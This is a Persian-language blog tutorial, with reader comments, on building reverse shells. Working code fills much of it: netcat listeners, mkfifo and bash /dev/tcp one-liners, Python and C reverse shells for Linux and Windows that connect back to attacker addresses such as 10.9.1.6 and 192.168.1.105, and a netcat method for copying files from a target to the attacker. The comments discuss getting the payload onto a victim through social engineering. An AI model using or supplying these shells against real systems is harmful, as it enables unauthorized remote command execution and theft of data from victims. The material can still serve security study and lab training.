ساخت و نوشتن شل معکوس (Reverse Shell)
![reverse shells](https://mrpythonblog.ir/wp-content/uploads/2023/04/workfeatured-terminal.png)
پوسته (Shell) چیست ؟
به طور کلی پوسته ها محیط هایی هستند برای اجرای دستورات و برنامه های موردنظر روی یک سیستم . پوسته ها یک رابط خط فرمان (Command Line) را برای کاربران فراهم میکنند تا از طریق آن بتوانند درخواست اجرای کار های مختلف از هسته سیستم عامل را داشته باشند .
پوسته معکوس (Reverse Shell)
مفهوم پوسته معکوس ، در واقع نوعی دسترسی به سیستم مورد هدف توسط هکر است که در آن خود سیستم هدف به هکر وصل میشود . به عبارتی سیستم هدف به سیستم هکر که در حال شنود است متصل میشود و یک دسترسی shell از خود در اختیار هکر میگذارد . هکر از طریق این shell میتواند دستورات دلخواه خود را روی سیستم هدف به اجرا در بیاورد .
پوسته معکوس معمولا در نتیجه اجرای یک عملیات به کارگیری (exploit) در سیستم هدف ایجاد میشود و در دسترس هکر قرار میگیرد . به طوری که ابتدا هکر یک آسیب پذیری در سیستم هدف شناسایی کرده ، سپس اگر آسیب پذیری به گونه ای باشد که به هکر اجازه اجرای کد دلخواه روی سیستم هدف بدهد ، هکر یک کد مخرب از طریق exploit کردن این آسیب پذیری روی سیستم هدف اجرا میکند که در نتیجه اجرای آن یک پوسته معکوس در اختیار او قرار میگیرد .
از مزایای Reverse Shell این است که فرض کنید سیستم هدف مجهز به یک firewall است که ترافیک ورودی روی پورت های زیادی را محدود کرده است . در نتیجه هکر به خاطر این محدودیت مستقیما نمیتواند به یکی از پورت های سیستم هدف متصل شود ، اما وقتی صحبت از Reverse shell ها میکنیم قضیه برعکس است . خود سیستم هدف ، اتفاقا از طریق پورت های معروف و پر استفاده مثل ۸۰ ،۴۴۳ یا ۸۰۸۰ و… به سیستم هکر متصل میشود و این ارتباط خیلی عادی تر و غیر قابل شناسایی تر از شیوه قبلی است .
اما خب reverse shell ها معایبی نیز دارند . مثلا یکی از معایب آن این است که میتواند آدرس ip هکر را فاش کند . اگر کسی ارتباطات روی سیستم هدف را چک کند و متوجه وجود ارتباط reverse shell بشود ، از آنجایی که سیستم هدف به آدرس ip هکر وصل شده است ، با یک بررسی ساده از log های سرویس ها و شبکه میتواند آدرس ip هکر را بدست بیاورد .
البته دقت کنید که reverse shell ها لزوما در نتیجه یک exploit بدست نمی آیند . ممکن است هکر برای مثال از طریق یک عملیات مهندسی اجتماعی (Social Engineering) یک فایل مخرب را به سیستم هدف بدهد تا آن را اجرا کند و این فایل مخرب یک reverse shell برای هکر به ارمغان بیاورد .
در این آموزش ، مستقل از اینکه چه آسیب پذیری و روشی برای اجرای کد روی سیستم هدف اجرا میشود ، میخواهیم به صورت مستقل به شیوه ساخت و استفاده از reverse shell ها بپردازیم .
بسته به اینکه چه سیستم عامل و سرویس هایی روی سیستم هدف در حال اجرا هستند ، روش یا زبان برنامه نویسی که برای ساخت reverse shell استفاده میشود متفاوت است .
ایجاد شنودگر (Listener) در سیستم هکر
یکی از ملزومات استفاده از reverse shell این است که هکر یک شنودگر روی یکی از پورت های سیستمش اجرا کند و منتظر بماند تا هدف به آن وصل شود و reverse shell را در اختیار او بگذارد . جلوتر وقتی که روش های مختلف ایجاد reverse shell را بررسی میکنیم ، فرض میکنیم همیشه قبل از اجرای reverse shell روی سیستم هدف ،یک شنودگر روی سیستم هکر اجرا شده است . همچنین تمامی reverse shell هایی که جلوتر ایجاد میکنیم روی لینوکس است .
به روش های زیادی میتوان شنودگر ایجاد کرد ولی ما در اینجا با استفاده از ابزار Netcat اینکار را انجام خواهیم داد .
Netcat یک ابزار بسیار کاربردی در عین حال سبک و قابل حمل برای نوشتن و خواندن داده روی پورت های شبکه است . به سادگی میتوانیم با استفاده از Netcat یک شنودگر روی سیستم خود اجرا کنیم . دقت کنید فرقی نمیکند روی ویندوز باشیم یا لینوکس مهم این است که Netcat نصب باشد . با اجرای دستور زیر روی سیستم هکر یک شنودگر روی پورت ۱۲۳۴۵ اجرا خواهد شد :
nc -lvp 12345
سوییچ l مخفف listen مشخص کننده این است که میخواهیم شنود انجام بدهیم . v مخفف verbose برای نمایش اطلاعات بیشتر و جزئی تر است . p مخفف port مشخص کننده پورتی است که میخواهیم شنود روی آن انجام شود . به جای ۱۲۳۴۵ هر پورت دلخواهی را میتوانید استفاده کنید (به شرط اینکه سرویسی در حال حاضر روی آن در حال اجرا نباشد) .
Reverse Shell لینوکسی با Netcat
در اینجا به دو روش یک reverse shell در لینوکس و با استفاده از Netcat ایجاد میکنیم .
۱ – استفاده از Named Pipe (FIFO) :
mkfifo /tmp/p; nc <LHOST> <LPORT> 0</tmp/p | /bin/sh > /tmp/p 2>&1; rm /tmp/p
pipe در لینوکس روشی است برای اینکه پروسه های مختلف بتوانند باهم تبادل اطلاعات داشته باشند . یک نمونه از pipe ها که خیلی در لینوکس استفاده میشوند ، pipe های بی نام یا ناشناس هستند که به وسیله ی علامت “|” استفاده میشوند . این pipe ها خروجی استاندارد دستور قبل خود را به ورودی استاندارد دستور بعدی منتقل میکنند . یک نمونه دیگر از آن ها named pipe هستند. آن ها یک فایل مجازی داخل فایل سیستم هستند که پروسه ها از طریق خواندن و نوشتن روی آن میتوانند به تبادل اطلاعات بپردازند . این گونه pipe ها از طریق دستور mkfifo ساخته میشوند . در این مثال یک named pipe به نام p در مسیر پوشه tmp ساخته ایم و سپس طوری تنظیم کردیم که ورودی استاندارد netcat (اطلاعاتی که به سیستم هکر ارسال خواهد شد) از همین فایل p خوانده شود و دستوراتی که توسط هکر ارسال میشوند در bash اجرا شده و نتیجه آن در فایل p ذخیره شود . از این رو هکر وقتی دستوری را میفرستد ابتدا در bash اجرا شده ، سپس خروجی های آن در فایل p ذخیره شده و نهایتا netcat آن ها را از فایل p خوانده و برای هکر ارسال میکند .
۲ – استفاده از bash :
bash -c 'sh -i >& /dev/tcp/10.9.1.6/4444 0>&1'
دقت کنید به جای 10.9.1.6 و 4444 به ترتیب آدرس ip و شماره پورت شنودگر هکر را قرار دهید .
Reverse Shell لینوکسی با پایتون
برای اجرای یک reverse shell از طریق پایتون از اسکریپت زیر استفاده میکنیم :
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<LHOST>",<LPORT>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
در سیستم عامل های لینوکسی ، یک system call به نام dup2 وجود دارد.کار آن این است که یک کپی تکراری از یک file descriptor با یک عدد دیگر درست میکند . برای مثال اگر ما یک سوکت شبکه درست کرده ایم که file descriptor آن عدد ۲۳ است . اگر این syscall را به صورت زیر فراخوانی کنیم :
dup2 (sock , 1);
نتیجه این میشود که file descriptor مربوط به خروجی استاندارد (که عدد ۱ است) یک نسخه کپی از file descriptor سوکت شبکه (sock) باشد . در نتیجه الان هرچه روی خروجی استاندارد نوشته شود مثل این است که روی سوکت شبکه نوشته شده است .
در ساختن reverse shell کاری که باید کرد این است که یک bash اجرا کنیم و با استفاده از dup2 ورودی ، خروجی و خطای استاندارد آن را به عنوان کپی سوکت شبکه ای که با آن به سیستم هکر وصل شده ایم تنظیم کنیم . چون ورودی استاندارد کپی سوکت شبکه است ، ورودی bash از طریق سوکت شبکه خوانده میشود . یعنی تمامی دستوراتی که از سمت هکر ارسال میشود به عنوان ورودی bash خواهند بود (و اجرا میشوند).
همچنین چون خروجی و خطای استاندارد کپی سوکت شبکه است ، تمامی خروجی و خطا های دستورات اجرا شده به سوکت شبکه و درنتیجه سیستم هکر ارسال میشود .
در اسکریپت پایتونی بالا نیز همین کار انجام شده است . ابتدا یک سوکت برای ارتباط گرفتن با شنودگر هکر ایجاد کرده ایم (خط ۲و ۳) . سپس ورودی ، خروجی و خطای استاندارد را به عنوان کپی سوکت شبکه قرار داده ایم (خطوط ۴ و ۵ و۶ ) . نهایتا یک پروسه خط فرمان اجرا کرده ایم .
میتوانیم کل اسکریپت بالا را به صورت یک دستور تک خطی به صورت زیر اجرا کنیم :
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Reverse Shell لینوکسی با زبان C
در این مورد نیز مانند مورد قبلی عمل میکنیم . کافی است ابتدا یک سوکت بسازیم و به سیستم هکر وصل شویم ، سپس ورودی ، خروجی و خطای استاندارد را با استفاده از dup2 کپی سوکت قرار دهیم و نهایتا یک پروسه خط فرمان اجرا کنیم .
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
int main () {
// attacker IP address
const char* ip = "10.9.1.6";
// address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_aton(ip, &addr.sin_addr);
// socket syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// connect syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));
for (int i = 0; i < 3; i++) {
// dup2(sockftd, 0) - stdin
// dup2(sockfd, 1) - stdout
// dup2(sockfd, 2) - stderr
dup2(sockfd, i);
}
// execve syscall
execve("/bin/sh", NULL, NULL);
return 0;
}
کد بالا را به اسم shell.c ذخیره میکنیم و با استفاده از دستور زیر compile میکنیم :
gcc -o shell shell.c -w
Reverse Shell ویندوزی با پایتون
روش کلی مورد استفاده در Reverse Shell های لینوکسی ، تنظیم کردن ورودی ، خروجی و ارور استاندارد پروسه sh به عنوان سوکت شبکه بود . مشکل اینجاست که در ویندوز خبری از تابع dup2 که در لینوکس استفاده میکردیم نیست . بنابراین در اسکریپت پایتونی ویندوز ، باید به طور دستی خودمان درون یک حلقه بینهایت دستور ها را از سمت هکر دریافت کرده ، آن ها را در cmd.exe اجرا کنیم و نتیجه اجرای دستور (چه ارور باشد چه خروجی عادی) را به سمت هکر بفرستیم .
دقت کنید در سیستم عامل ویندوز پروسه شل که هکر خواهان دسترسی به آن است همان خط فرمان آن یعنی cmd.exe است . بنابراین به طور کلی اسکریپت ما چنین مراحلی را طی میکند :
۱ – ساخت یک سوکت و اتصال به شنودگر هکر
۲ – دریافت دستورات ارسالی از سمت هکر
۳ – اجرای دستورات هکر در خط فرمان
۴ – ارسال نتیجه دستور به هکر
۵ – برو به مرحله ۲
برای اجرای دستورات هکر در خط فرمان از تابع Popen در ماژول subprocess که به صورت پیشفرض در پایتون نصب است استفاده میکنیم .
import socket , subprocess
ATTACKER_IP = "192.168.1.105"
ATTACKER_PORT = 12345
sock = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
sock.connect((ATTACKER_IP , ATTACKER_PORT))
while 1:
sock.send(b"Victim > ")
command = sock.recv(1024)
if command == b"exit": break
process = subprocess.Popen(command.decode() , shell=True , stdout=subprocess.PIPE , stderr = subprocess.PIPE)
output = process.stdout.read() + process.stderr.read()
sock.send(output)
sock.close()
در خطوط ۳ تا ۶ سوکت شبکه را ساخته و به شنودگر هکر متصل شده ایم . سپس حلقه بینهایت اجرا شده است . در هر دور حلقه ، دستوری را از سمت هکر دریافت میکنیم (خط ۱۰) ، آن دستور را در خط فرمان اجرا میکنیم (خط ۱۲) ، نتیجه دستور اجرا شده را دریافت میکنیم (خط ۱۳) و نهایتا نتیجه را به سمت هکر ارسال میکنیم (خط ۱۴) .
دقت کنید تابع Popen یک پروسه cmd.exe میسازد و دستور ما را داخل آن اجرا میکند . سپس شیء مربوط به پروسه ساخته شده را به ما برمیگرداند که ما آن را در متغییر process ذخیره کرده ایم . از طریق شیء این پروسه در خط ۱۳ ، خروجی و ارور استاندارد آن را دریافت کرده ایم و در متغییر output ذخیره کرده ایم . در نتیجه متغییر output حاوی نتیجه دستور اجرا شده خواهد بود حالا چه ارور باشد چه خروجی عادی .
نتیجه اجرای این Reverse Shell :
Reverse Shell ویندوزی در زبان C
در زبان C از توابع API ارائه شده توسط ویندوز استفاده میکنیم تا Reverse Shell بسازیم . در اینجا کار ما تا حدی شبیه همان Reverse Shell های لینوکسی است . ابتدا توسط توابع Winsock2 API یک سوکت میسازیم و به شنودگر هکر متصل میشویم . سپس توسط تابع CreateProcessA یک پروسه cmd.exe اجرا میکنیم . کار این تابع همانطور که از اسمش پیداست ساخت یک پروسه جدید است . خوبی تابع CreateProcessA برای ما این است که یکی از ورودی های آن یک اشاره گر به ساختار STARTUPINFO است . این ساختار شامل سه عضو hStdInput , hStdOutput و hStdError است که به ترتیب مشخص میکند خروجی ، ورودی و ارور استاندارد پروسه ساخته شده چه چیزی باشد . در اینجا ما میگوییم هر سه اینها برابر شیء سوکتی باشد که به شنودگر هکر متصل است . در این صورت خروجی و ارور استاندارد آن به هکر ارسال میشود و ورودی آن ها از سوکت دریافت میشود .
#include <windows.h>
#include <winsock2.h>
int main (int argc , char ** argv){
struct WSAData wd = { 0 };
WSAStartup(MAKEWORD(2,2) , &wd); /* initializing Winsock api */
SOCKET sock = WSASocket(AF_INET , SOCK_STREAM , 0 , 0 , 0 , 0);
struct sockaddr_in address = { 0 };
unsigned int ATTACKER_IP = inet_addr("192.168.1.105");
unsigned short ATTACKER_PORT = 12345;
memcpy( &address.sin_addr, (void*)&ATTACKER_IP , 4 );
address.sin_family = AF_INET;
address.sin_port = htons(ATTACKER_PORT);
connect(sock , &address, sizeof(address)) ;
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);
/* pass socket object as Standard Handles to cmd.exe */
si.hStdOutput = sock ;
si.hStdError = sock ;
si.hStdInput = sock ;
si.dwFlags = STARTF_USESTDHANDLES;
/* ------------------------------------------------- */
PROCESS_INFORMATION pi = { 0 };
CreateProcess(0 , "cmd.exe" , 0 , 0 , TRUE , 0 , 0 , 0 , &si , &pi );
while (1){
Sleep(1000);
}
return 0;
}
ابتدا در خط ۸ یک سوکت شبکه ساخته ایم . در خط ۲۰ توسط این سوکت به شنودگر هکر متصل شده ایم . در خط ۲۲ ساختار STARTUPINFO که قبل تر به آن اشاره شد را ساخته ایم . در خطوط ۲۶ تا ۲۹ اعضای مربو به STARTUPINFO را مقدار دهی کرده ایم و خروجی ، ورودی و ارور استاندارد آن را برابر شیء سوکت قرار داده ایم . در خط ۳۴ تابع CreateProcess را فراخوانی کرده ایم و نام cmd.exe را به آن پاس داده ایم . همچنین ساختار STARTUPINFO که مقدار دهی کرده ایم را نیز به آن پاس داده ایم . دقت کنید آرگومان bInheritHandles در تابع CreateProcess حتما باید برابر مقدار TRUE باشد . این آرگومان باعث میشود handle های پروسه فعلی در پروسه cmd.exe که ساخته میشود نیز وجود داشته باشد . از آنجایی که شیء سوکتی که ساخته ایم خود یک نوع handle است و از طرفی ورودی و خروجی و ارور استاندارد cmd.exe برابر همان شیء سوکت خواهد بود پس باید شیء سوکت در پروسه جدید نیز به اشتراک گذاشته شود که با TRUE کردن آرگومان bInheritHandles این اتفاق می افتد .
نتیجه اجرای این Reverse Shell :
انتقال فایل با Netcat
گاهی اوقات ، یکی از حیاتی ترین موارد برای یک هکر انتقال فایل در ارتباط خود با سیستم هدف است . تفاوتی نمیکند این انتقال کدام طرفه باشه . چه بخواهد از سیستم هدف فایلی بردارد ، یا فایلی روی آن قرار دهد .
از Netcat میتوان برای انتقال فایل نیز استفاده کرد . فرض کنید میخواهیم فایلی به نام send.txt را از سیستم هدف به سیستم هکر انتقال دهیم . برای اینکار روی سیستم هکر شنودگر ایجاد میکنیم :
nc -vlp 12345 > recv.txt
ایجاد شنودگر تفاوتی با موارد قبلی ندارد مگر در هدایت خروجی استاندارد آن . ما خروجی استاندارد این ارتباط در سیستم هکر را به فایلی به نام recv.txt هدایت کرده ایم . حالا کافیست تا در سمت سیستم هدف با استفاده از دستور زیر به شنودگر هکر متصل شویم و داده های فایل send.txt را منتقل کنیم :
nc 127.0.0.1 12345 -w 3 < send.txt
دقت کنید در این مورد ما فایل send.txt را به عنوان ورودی استاندارد دستور تنظیم کرده ایم در نتیجه به محض اتصال به سیستم هکر ، داده های فایل send.txt از ورودی خوانده شده و به سیستم هکر ارسال میشود . از آن طرف سیستم هکر این داده ها را به فایلی به نام recv.txt در سمت خود هدایت کرده و در نتیجه فایل send.txt روی سیستم هدف به اسم recv.txt روی سیستم هکر منتقل میشود . سوییچ w مشخص کننده زمانی است که باید ارتباط فعال بماند . چون نمیخواهیم بعد از انتقال فایل ارتباط برای همیشه متصل بماند ، مشخص کرده ایم خودکار پس از سپری شدن ۳ ثانیه ارتباط تمام شود و در این زمان فایل انتقال یافته است . نتیجه را در تصویر زیر میبینید (پنجره سمت چپ سیستم هدف و پنجره سمت راست سیستم هکر است) :
علاقه مند به دنیای کامپیوتر ها ...
سلام
من یه سوالی داشتم.
می خواستم بدونم شل معکوس در مورد اتصال کاربر به سرور های vpn با پروتکل های v2ray و ssh و…. صدق می کنه؟
یعنی همین که ما به یک vpn وصل میشیم صاحب vpn دسترسی شل معکوس داشته باشه از ما
سلام .
ببینید بیشتر بستگی داره از چه نرم افزاری دارید برای اتصال به این سرور ها استفاده میکنید . این نرم افزاری که نصب میکنید اگه مطمئن نباشه کاملا امکانش هست که یک شل معکوس به صاحبش بده .
با سلام و تشکر از زحمات شما
لطفا در مورد Reverse Shell ویندوزی هم مطلبی بزارید.
با تشکر
سلام . خواهش میکنم .
چشم حتما 🙂
سلام ببخشین ی سوال دارم:
خب چه جوری می تونیم فایل ویکتیم.پای رو به سیستم هف منتقل کنیم مثلا یکیش مهندسی اجتماعی خب می شه راجب راه های دیگش و سناریو های دیگه اموزش بزارین؟
سلام . سلامت باشید .
بله در پست های مربوط به خودش توضیح داده میشه بعدا .
ولی به طور کلی نمیشه نظر داد . ممکنه هزاران روش برای اینکار بتونید استفاده کنید . عمدتا یا از یک آسیب پذیری استفاده میشه یا حملات مهندسی اجتماعی